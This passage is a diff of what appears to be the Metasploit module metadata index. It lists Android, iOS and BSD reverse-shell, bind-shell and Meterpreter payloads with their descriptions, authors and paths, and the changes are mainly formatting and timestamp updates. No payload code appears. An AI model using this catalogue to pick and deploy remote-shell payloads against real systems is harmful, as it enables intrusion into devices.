- - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-28 10:35:25 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "android/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197917,9 +203426,7 @@ "payload_android/shell/reverse_http": { "name": "Command Shell, Android Reverse HTTP Stager", "fullname": "payload/android/shell/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197930,24 +203437,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (sh).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_http.rb", "is_install_path": true, "ref_name": "android/shell/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197958,9 +203462,7 @@ "payload_android/shell/reverse_https": { "name": "Command Shell, Android Reverse HTTPS Stager", "fullname": "payload/android/shell/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197971,24 +203473,21 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (sh).\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_https.rb", "is_install_path": true, "ref_name": "android/shell/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197999,9 +203498,7 @@ "payload_android/shell/reverse_tcp": { "name": "Command Shell, Android Reverse TCP Stager", "fullname": "payload/android/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198010,24 +203507,21 @@ "egypt " ], "description": "Spawn a piped command shell (sh).\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_tcp.rb", "is_install_path": true, "ref_name": "android/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198038,9 +203532,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198050,24 +203542,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "apple_ios/aarch64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198076,9 +203565,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198088,24 +203575,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "apple_ios/aarch64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198114,9 +203598,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198126,24 +203608,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198152,34 +203631,27 @@ "payload_apple_ios/aarch64/shell_reverse_tcp": { "name": "Apple iOS aarch64 Command Shell, Reverse TCP Inline", "fullname": "payload/apple_ios/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "apple_ios/aarch64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198188,9 +203660,7 @@ "payload_apple_ios/armle/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198200,24 +203670,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "apple_ios/armle/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198226,9 +203693,7 @@ "payload_apple_ios/armle/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198238,24 +203703,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "apple_ios/armle/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198264,9 +203726,7 @@ "payload_apple_ios/armle/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198276,24 +203736,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "apple_ios/armle/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198302,9 +203759,7 @@ "payload_bsd/sparc/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", "fullname": "payload/bsd/sparc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198312,24 +203767,21 @@ "vlad902 " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/sparc/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198338,9 +203790,7 @@ "payload_bsd/sparc/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/sparc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198348,24 +203798,21 @@ "vlad902 " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/sparc/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198374,9 +203821,7 @@ "payload_bsd/vax/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/vax/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198384,24 +203829,21 @@ "wvu " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "vax", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/vax/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/vax/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198410,9 +203852,7 @@ "payload_bsd/x64/exec": { "name": "BSD x64 Execute Command", "fullname": "payload/bsd/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198420,24 +203860,21 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/exec.rb", "is_install_path": true, "ref_name": "bsd/x64/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198446,9 +203883,7 @@ "payload_bsd/x64/shell_bind_ipv6_tcp": { "name": "BSD x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/bsd/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198465,15 +203900,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198482,9 +203916,7 @@ "payload_bsd/x64/shell_bind_tcp": { "name": "BSD x64 Shell Bind TCP", "fullname": "payload/bsd/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198493,24 +203925,21 @@ "joev " ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198519,9 +203948,7 @@ "payload_bsd/x64/shell_bind_tcp_small": { "name": "BSD x64 Command Shell, Bind TCP Inline", "fullname": "payload/bsd/x64/shell_bind_tcp_small", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198538,15 +203965,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_bind_tcp_small", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198555,9 +203981,7 @@ "payload_bsd/x64/shell_reverse_ipv6_tcp": { "name": "BSD x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/bsd/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198574,15 +203998,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198591,9 +204014,7 @@ "payload_bsd/x64/shell_reverse_tcp": { "name": "BSD x64 Shell Reverse TCP", "fullname": "payload/bsd/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198602,24 +204023,21 @@ "joev " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198628,9 +204046,7 @@ "payload_bsd/x64/shell_reverse_tcp_small": { "name": "BSD x64 Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/x64/shell_reverse_tcp_small", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198647,15 +204063,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb", "is_install_path": true, "ref_name": "bsd/x64/shell_reverse_tcp_small", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198664,9 +204079,7 @@ "payload_bsd/x86/exec": { "name": "BSD Execute Command", "fullname": "payload/bsd/x86/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198676,24 +204089,21 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/exec.rb", "is_install_path": true, "ref_name": "bsd/x86/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198702,9 +204112,7 @@ "payload_bsd/x86/metsvc_bind_tcp": { "name": "FreeBSD Meterpreter Service, Bind TCP", "fullname": "payload/bsd/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198712,24 +204120,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198738,9 +204143,7 @@ "payload_bsd/x86/metsvc_reverse_tcp": { "name": "FreeBSD Meterpreter Service, Reverse TCP Inline", "fullname": "payload/bsd/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198748,24 +204151,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198774,9 +204174,7 @@ "payload_bsd/x86/shell/bind_ipv6_tcp": { "name": "BSD Command Shell, Bind TCP Stager (IPv6)", "fullname": "payload/bsd/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198786,24 +204184,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198814,9 +204209,7 @@ "payload_bsd/x86/shell/bind_tcp": { "name": "BSD Command Shell, Bind TCP Stager", "fullname": "payload/bsd/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198824,24 +204217,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsd/x86/bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198852,9 +204242,7 @@ "payload_bsd/x86/shell/find_tag": { "name": "BSD Command Shell, Find Tag Stager", "fullname": "payload/bsd/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198862,24 +204250,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsd/x86/find_tag.rb", "is_install_path": true, "ref_name": "bsd/x86/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198890,9 +204275,7 @@ "payload_bsd/x86/shell/reverse_ipv6_tcp": { "name": "BSD Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/bsd/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198902,24 +204285,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198930,9 +204310,7 @@ "payload_bsd/x86/shell/reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Stager", "fullname": "payload/bsd/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198940,24 +204318,21 @@ "skape " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/bsd/x86/reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198968,9 +204343,7 @@ "payload_bsd/x86/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", "fullname": "payload/bsd/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198978,24 +204351,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199004,9 +204374,7 @@ "payload_bsd/x86/shell_bind_tcp_ipv6": { "name": "BSD Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/bsd/x86/shell_bind_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199016,24 +204384,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb", "is_install_path": true, "ref_name": "bsd/x86/shell_bind_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199042,9 +204407,7 @@ "payload_bsd/x86/shell_find_port": { "name": "BSD Command Shell, Find Port Inline", "fullname": "payload/bsd/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199052,24 +204415,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "bsd/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199078,34 +204438,29 @@ "payload_bsd/x86/shell_find_tag": { "name": "BSD Command Shell, Find Tag Inline", "fullname": "payload/bsd/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "skape " ], - "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Spawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_find_tag.rb", "is_install_path": true, "ref_name": "bsd/x86/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199114,9 +204469,7 @@ "payload_bsd/x86/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199124,24 +204477,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -199150,9 +204500,7 @@ "payload_bsd/x86/shell_reverse_tcp_ipv6": { "name": "BSD Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/bsd/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -199162,24 +204510,21 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb", "is_install_path": true, 